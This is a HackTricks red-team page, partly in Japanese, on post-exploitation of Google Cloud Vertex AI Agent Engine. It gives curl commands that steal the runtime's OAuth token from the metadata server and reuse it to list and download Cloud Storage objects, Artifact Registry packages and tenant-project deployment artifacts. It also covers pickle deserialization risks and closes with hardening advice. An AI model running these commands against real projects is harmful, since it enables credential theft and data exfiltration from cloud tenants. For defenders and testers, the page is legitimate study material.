GCP - Vertex AI Post Exploitation

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Vertex AI Agent Engine / Reasoning Engine

このページは、Google-managed runtime 内で攻撃者が制御するツールやコードを実行する Vertex AI Agent Engine / Reasoning Engine のワークロードに焦点を当てます。

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine は有用だが危険なパターンを導入します：開発者提供のコードが Google 管理のランタイム内で、Google-managed identity を使用して実行される点です。

興味深い信頼境界は次のとおりです：

  • Consumer project: あなたのプロジェクトとデータ。
  • Producer project: バックエンドサービスを運用する Google 管理のプロジェクト。
  • Tenant project: デプロイされた agent インスタンス専用の Google 管理プロジェクト。

Google の Vertex AI IAM ドキュメントによれば、Vertex AI リソースは Vertex AI service agents をリソースアイデンティティとして使用でき、これらの service agents はデフォルトで プロジェクト内のすべての Cloud Storage リソースと BigQuery データへの読み取り専用アクセス を持ち得ます。Agent Engine 内で実行されるコードがランタイム認証情報を窃取できるなら、そのデフォルトアクセスは直ちに注目に値します。

Main abuse path

  1. Agent をデプロイするか改変して、攻撃者が制御するツールやコードが管理されたランタイム内で実行されるようにする。
  2. metadata server に問い合わせて、プロジェクト識別、サービスアカウント識別、OAuth スコープ、アクセストークンを回収する。
  3. 盗んだトークンを Vertex AI Reasoning Engine P4SA / service agent として再利用する。
  4. consumer project にピボットし、service agent により許可されたプロジェクト全体のストレージデータを読み取る。
  5. 同一のアイデンティティで到達可能な producer および tenant 環境にピボットする。
  6. Artifact Registry の内部パッケージを列挙し、Dockerfile.zip、requirements.txt、code.pkl のような tenant 展開アーティファクトを抽出する。

これは単なる「自分の agent でコードを実行できる」問題ではありません。問題の核心は以下の組み合わせです：

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Vertex AI へのアクセス権を持つトークンがある場合、Reasoning Engine API を直接列挙してください:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

デプロイメントログを確認してください。パッケージングやランタイム起動時に使用される 内部のプロデューサーの Artifact Registry パス が leak することがあります：

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Unit 42の調査では、以下のような内部パスが観測されました:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

ランタイムからの Metadata credential theft

もし agent runtime 内でコードを実行できるなら、まず metadata service をクエリします:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

興味深いフィールドには以下が含まれます:

  • プロジェクト識別子
  • 関連付けられた service account / service agent
  • runtime で利用可能な OAuth スコープ

次に、関連付けられたアイデンティティのトークンを要求します:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

token を検証し、付与された scopes を確認する:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google は、研究報告後に ADK のデプロイワークフローの一部を変更したため、古いデプロイ用スニペットが現在の SDK と正確に一致しない可能性があります。重要なプライミティブは変わっていません：if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path。

Consumer-project pivot: service-agent data theft

runtime token が盗まれたら、service agent が consumer project に対して持つ実効アクセスをテストします。

ドキュメント化された危険なデフォルトの能力は、プロジェクトデータへの広範な read access to project data です。Unit 42 の研究では具体的に以下が検証されました：

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

盗まれたトークンを使った実践的な検証：

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

これにより、侵害されたまたは悪意のあるエージェントをproject-wide storage exfiltration primitiveに変えます。

Producer-project pivot: internal Artifact Registry access

同じ盗まれた識別情報はGoogle-managed producer resourcesに対しても有効な場合があります。

まずはログから得た内部リポジトリのURIをテストします。次に、Artifact Registry APIでパッケージを列挙します:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

raw bearer token しか持っていない場合は、REST API を直接呼び出してください:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

これは書き込みアクセスがブロックされていても価値があります。なぜなら次の情報が明らかになるからです:

  • 内部イメージ名
  • 非推奨のイメージ
  • サプライチェーン構造
  • 後続調査用のパッケージ／バージョン一覧

For more Artifact Registry background check:

GCP - Artifact Registry Enum

テナントプロジェクトへのピボット: デプロイメントアーティファクトの取得

Reasoning Engine のデプロイは、そのインスタンス用に Google が管理する テナントプロジェクト にも興味深いアーティファクトを残します。

The Unit 42 research found:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

盗用したトークンを使い、アクセス可能なストレージを列挙してデプロイメントアーティファクトを検索する:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

テナントプロジェクトからのアーティファクトは明らかにする可能性がある:

  • 内部のバケット名
  • 内部のイメージ参照
  • パッケージ化に関する想定
  • 依存関係の一覧
  • シリアライズされたエージェントコード

ブログでも次のような内部参照が観察された:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.

code.pkl and conditional RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

The immediate issue is confidentiality:

  • オフラインでのデシリアライズはコード構造を露呈する可能性があります
  • パッケージ形式は実装の詳細を leaks します

The bigger issue is conditional RCE:

  • 攻撃者が service-side デシリアライズの前に serialized artifact を改竄できる場合
  • かつパイプラインが後でその pickle をロードする場合
  • 管理されたランタイム内で arbitrary code execution が可能になります

This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.

OAuth scopes and Workspace blast radius

The metadata response also exposes the OAuth scopes attached to the runtime.

If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.

If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:

GCP <–> Workspace Pivoting

Hardening / detection

Prefer a custom service account over the default managed identity

Current Agent Engine documentation supports setting a custom service account for the deployed agent. That is the cleanest way to reduce blast radius:

  • remove dependence on the default broad service agent
  • grant only the minimal permissions required by the agent
  • make the runtime identity auditable and intentionally scoped

Validate the actual service-agent access

Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

付与されたアイデンティティが以下を読み取れるかどうかに焦点を当てる:

  • すべての GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • build/deployment workflows から到達可能な secrets または internal registries

agent code を特権的なコード実行として扱う

agent によって実行されるあらゆるツール／関数は、metadata アクセスを持つ VM 上で実行されるコードであるかのようにレビューするべきである。実務では次を意味する:

  • agent ツールが metadata endpoints へ直接 HTTP アクセスを行っていないか確認する
  • ログを確認し、internal pkg.dev repositories や tenant buckets への参照がないか探す
  • 実行可能な状態を pickle として格納するようなパッケージングパスがないか確認する

References

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする